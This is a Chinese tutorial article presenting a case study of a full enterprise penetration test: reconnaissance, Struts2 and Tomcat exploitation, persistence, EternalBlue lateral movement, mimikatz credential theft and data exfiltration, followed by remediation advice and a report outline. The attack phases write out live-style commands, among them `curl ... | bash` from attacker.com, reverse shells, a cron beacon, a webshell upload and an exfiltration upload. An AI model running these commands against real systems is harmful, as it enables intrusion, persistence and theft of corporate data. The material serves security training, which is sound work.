第250篇:一次完整的企业网安全渗透测试案例

关键词

渗透测试、红蓝对抗、信息收集、漏洞利用、权限提升、横向移动、数据窃取、报告输出


一、渗透测试场景

1.1 测试范围

渗透测试范围:

目标企业:某中型企业(500 人)
测试范围:
  ├─ 外网:公网 IP 段(1 个 /24)
  ├─ 内网:办公网段(192.168.1.0/24)
  ├─ DMZ 网段(10.0.1.0/24)
  └─ 管理员网段(10.0.100.0/24)

测试目标(红队):
  从外网突破 → 进入内网 → 获取核心数据

防御方(蓝队):
  检测和阻止攻击者

1.2 测试总览

渗透测试过程五阶段:

阶段 1:信息收集
  └─ 域名/子域名/IP/端口/服务/指纹
  └─ 目标:找到攻击面

阶段 2:初始突破
  └─ 利用漏洞获得第一个入口
  └─ 目标:获取边界设备权限

阶段 3:权限维持
  └─ 建立后门/C2 通道
  └─ 目标:即使被发现也能重新进入

阶段 4:内网横向移动
  └─ 扫描内网 → 提权 → 跳板
  └─ 目标:逐步接近核心数据

阶段 5:数据窃取(概念验证)
  └─ 定位核心数据 → 提取
  └─ 目标:证明数据可以被窃取

二、阶段 1:信息收集

2.1 外部信息收集

Step 1:域名收集
  # 查找公司所有域名
  theharvester -d company.com -b google

  发现:
    mail.company.com     → 邮件服务器
    vpn.company.com      → VPN 入口
    www.company.com      → 官网
    portal.company.com   → 员工门户
    git.company.com      → 代码仓库(内部)

Step 2:子域名枚举
  # 使用 amass 枚举子域名
  amass enum -d company.com

  发现 portal.company.com → 192.168.1.100(内网 IP 泄露!)

  重要发现:内部系统通过公网 DNS 泄露了内网 IP

Step 3:端口扫描
  # 全端口扫描
  nmap -p- -A company.com

  开放端口:
    22/tcp    SSH        OpenSSH 7.4
    80/tcp    HTTP       Apache 2.4.6
    443/tcp   HTTPS      Apache 2.4.6
    8443/tcp  HTTPS-alt  Tomcat 8.5 (默认密码?)
    3306/tcp  MySQL      MySQL 5.7(不该开放!)

发现的问题:
  1. MySQL 3306 端口暴露到公网
  2. Tomcat 管理后台 8443
  3. 内网 IP 通过 DNS 泄露

三、阶段 2:初始突破

3.1 漏洞扫描

Step 4:漏洞扫描
  # 使用 Nessus 扫描外部服务
  nessus scan company.com

  发现的关键漏洞:

  VULN-01: Apache Struts2 远程命令执行
    CVE-2017-5638
    影响:portal.company.com:8443
    风险:可以远程执行命令

  VULN-02: Tomcat 默认管理密码
    URL: https://portal.company.com:8443/manager/html
    默认密码: tomcat/tomcat
    风险:可以部署 Webshell

  VULN-03: MySQL 弱密码
    用户名: root
    密码: root123
    风险:数据库直接暴露

3.2 漏洞利用

Step 5:利用 Struts2 漏洞

  # 使用漏洞利用工具
  python2 struts2_poc.py -u https://portal.company.com:8443/

  命令执行成功!
  whoami → tomcat (Tomcat 用户)

  # 建立反弹 Shell
  在攻击者服务器上开启监听:
  nc -lvnp 4444

  在目标上执行:
  curl http://attacker.com/rev.sh | bash
  └─ 获得交互式 Shell

Step 6:Webshell 部署(第二入口)

  利用 Tomcat 默认密码上传 Webshell:
  # 创建 war 包 Webshell
  msfvenom -p java/jsp_shell_reverse_tcp \
    LHOST=attacker.com LPORT=5555 -f war > shell.war

  # 通过 Tomcat Manager 上传
  curl -u tomcat:tomcat \
    --upload-file shell.war \
    https://portal.company.com:8443/manager/deploy?path=/shell

  # 访问触发
  curl https://portal.company.com:8443/shell/
  └─ 获得第二个入口(作为备用)

突破结果:
  ✅ 获得 DMZ 区服务器权限 (10.0.1.100)
  ✅ 可以执行命令
  ✅ 建立了 C2 通信通道

四、阶段 3:权限维持

4.1 后门部署

Step 7:建立持久后门

方法 1:定时任务(Cron)
  # 每 5 分钟反向连接 C2
  echo "*/5 * * * * curl http://attacker.com/beacon | bash" \
    | crontab -

方法 2:SSH 公钥
  # 添加攻击者 SSH 公钥
  echo "ssh-rsa AAAAB3NzaC1yc2E..." >> ~/.ssh/authorized_keys

方法 3:Webshell(已部署)
  # Tomcat Webshell 持久
  # 即使服务器重启也有效

Step 8:C2 通信加密
  # 使用 HTTPS 伪装
  # 流量加密,逃避检测

  通信特征:
    每 60 秒发送 HTTPS 请求到 attacker.com/checkin
    返回 200 OK + 加密指令
    看起来像正常的 API 调用

五、阶段 4:内网横向移动

5.1 内网扫描

Step 9:内网扫描

  # 从被控服务器 (10.0.1.100) 扫描内网

  # 扫描存活主机
  for i in $(seq 1 254); do
    ping -c 1 192.168.1.$i -W 1 | grep "bytes from" &
  done

  发现主机:
    192.168.1.1    网关
    192.168.1.10   文件服务器(开放 SMB 445)
    192.168.1.20   AD 域控制器
    192.168.1.50   数据库服务器(开放 3306)
    192.168.1.100-200 办公 PC(多台)

  # 扫描服务和端口
  nmap -sS -p 22,445,3389,3306,1433 192.168.1.0/24

  关键发现:
    SMB 服务开放(可能 EternalBlue 漏洞)
    大量 MS17-010 (SMBv1)

5.2 利用 SMB 漏洞

Step 10:利用 EternalBlue

  # MS17-010 EternalBlue 检测
  nmap -p 445 --script smb-vuln-ms17-010 192.168.1.0/24

  发现 3 台主机存在漏洞:
    192.168.1.10 (文件服务器)
    192.168.1.55 (财务 PC)
    192.168.1.88 (经理 PC)

  # 漏洞利用
  msfconsole
  use exploit/windows/smb/ms17_010_eternalblue
  set RHOSTS 192.168.1.55
  set PAYLOAD windows/x64/meterpreter/reverse_tcp
  set LHOST attacker.com
  run

  成功获得 SYSTEM 权限!

  # 提取密码哈希
  meterpreter > hashdump

  Administrator:500:aad3b435b51404eeaad3b435b51404ee:...NTLM...
  zhangsan:1001:...NTLM...

  # 破解 NTLM 哈希
  hashcat -m 1000 hashes.txt wordlist.txt

  破解成功:
    Administrator → P@ssw0rd
    zhangsan → password123

5.3 域渗透

Step 11:利用 AD 域

  # 枚举域用户和组
  net group "Domain Admins" /domain

  Domain Admins:
    Administrator
    wang.wu           # IT 主管

  # 窃取 wang.wu 的凭证
  # 使用 mimikatz 从登录的 PC 提取
  mimikatz # sekurlsa::logonpasswords

  获得:
    wang.wu / Admin@2024

  # 横向移动到域控制器
  psexec \\192.168.1.20 -u company\wang.wu -p Admin@2024 cmd

  成功登录域控制器!

5.4 数据窃取

Step 12:定位和窃取核心数据

  # 从域控制器查找文件服务器上的共享
  net view \\192.168.1.10

  发现共享:
    \\fileserver\财务数据
    \\fileserver\客户资料
    \\fileserver\HR

  # 访问财务共享
  net use Z: \\192.168.1.10\财务数据

  # 查找敏感文件
  dir Z:\*合同* /s
  dir Z:\*客户* /s
  dir Z:\*财务报告* /s

  # 压缩数据
  # 将敏感文件打包(概念验证 → 实际测试只需证明可达)
  zip -r sensitive_data.zip Z:\关键数据\

  # 通过 C2 通道传输(少量)
  curl -F "file=@sensitive_data.zip" https://attacker.com/exfil

  渗透结果:
  ✅ 从外网突破(Struts2 漏洞)
  ✅ 内网横向移动(EternalBlue + 凭证窃取)
  ✅ 域控制器控制
  ✅ 核心数据可达

  ⚠️ 仅做概念验证,实际数据未下载

六、防御方分析与改进

6.1 攻击路径复盘

攻击路径总结:

入口:Struts2 漏洞 (portal.company.com:8443)
  └─ 防御缺失:Struts2 版本未更新

被控 DMZ 服务器 (10.0.1.100)
  └─ 防御缺失:DMZ 到内网无隔离

横向移动:EternalBlue (192.168.1.55)
  └─ 防御缺失:未打补丁、SMBv1 未禁用

凭证窃取:Mimikatz → Domain Admin
  └─ 防御缺失:未启用 Credential Guard

数据可达:文件服务器共享
  └─ 防御缺失:无 DLP、访问控制不严

6.2 整改建议

基于渗透发现的整改建议:

高优先级(立即修复):
  ├─ 升级 Struts2 到最新版本(入口问题)
  ├─ 禁用 SMBv1(EternalBlue 问题)
  ├─ 关闭冗余的公网端口(MySQL 3306)
  └─ 修补 MS17-010 补丁

中优先级(1个月内):
  ├─ DMZ 和内网之间增加防火墙策略
  ├─ 启用 Credential Guard(防 Mimikatz)
  ├─ 部署 EDR(检测异常行为)
  └─ 文件服务器访问控制最小化

低优先级(3个月内):
  ├─ 定期渗透测试(每年至少一次)
  ├─ 安全意识培训(防钓鱼)
  ├─ 部署 DLP 方案
  └─ 实施 802.1X + NAC

七、渗透测试报告

7.1 报告结构

渗透测试报告结构:

1. 执行摘要(给管理层)
   测试范围、发现概览、风险等级
   关键发现:5 个高危漏洞
   建议立即修复:Struts2 升级、SMBv1 禁用

2. 测试方法
   测试范围、时间、工具
   测试过程概述

3. 漏洞详情
   每个漏洞的:描述、危害、复现步骤、修复建议

   VULN-01: Struts2 远程命令执行(高危)
   ├─ 影响:portal.company.com:8443
   ├─ CVE: CVE-2017-5638
   ├─ 危害:可执行任意系统命令
   ├─ 复现:使用 EXP 执行 id 命令
   └─ 修复:升级到 Struts 2.5.12+

4. 攻击路径
   完整的攻击链图
   每个环节的漏洞和利用方式

5. 修复建议
   按优先级排列的修复清单
   建议的时间表

6. 总结
   整体安全评估
   后续建议

八、总结

知识点 核心要点
渗透测试五阶段 信息收集 → 突破 → 维持 → 横向 → 窃取
信息收集 域名/端口/服务/指纹,找到攻击面
初始突破 Struts2 漏洞、Tomcat 默认密码
权限维持 Webshell、Cron、SSH 公钥
横向移动 EternalBlue + 凭证窃取 + PsExec
域渗透 利用 Mimikatz 窃取域管理员凭证
防御改进 打补丁、最小权限、EDR、DLP
报告输出 执行摘要 + 漏洞详情 + 修复建议

九、思考

  1. 渗透测试的五个阶段分别是什么?每个阶段的目的是什么?
  2. 该案例中初始突破是如何实现的?如果企业及时升级了 Struts2,攻击者还有哪些攻击面?
  3. 攻击者如何从 DMZ 服务器横向移动到内网服务器?利用了哪些技术?
  4. 为什么攻击者能成功窃取域管理员凭证?企业应该如何防御 Mimikatz 类型的攻击?
  5. 如果你是企业的安全负责人,收到这份渗透测试报告后,你的三项最高优先级的整改措施是什么?

下篇预告:第251篇《数据中心网络架构演进:传统三层到 Spine-Leaf》——开启第六篇章《数据中心与云计算网络》,从传统三层架构到现代 Spine-Leaf 的演进之路。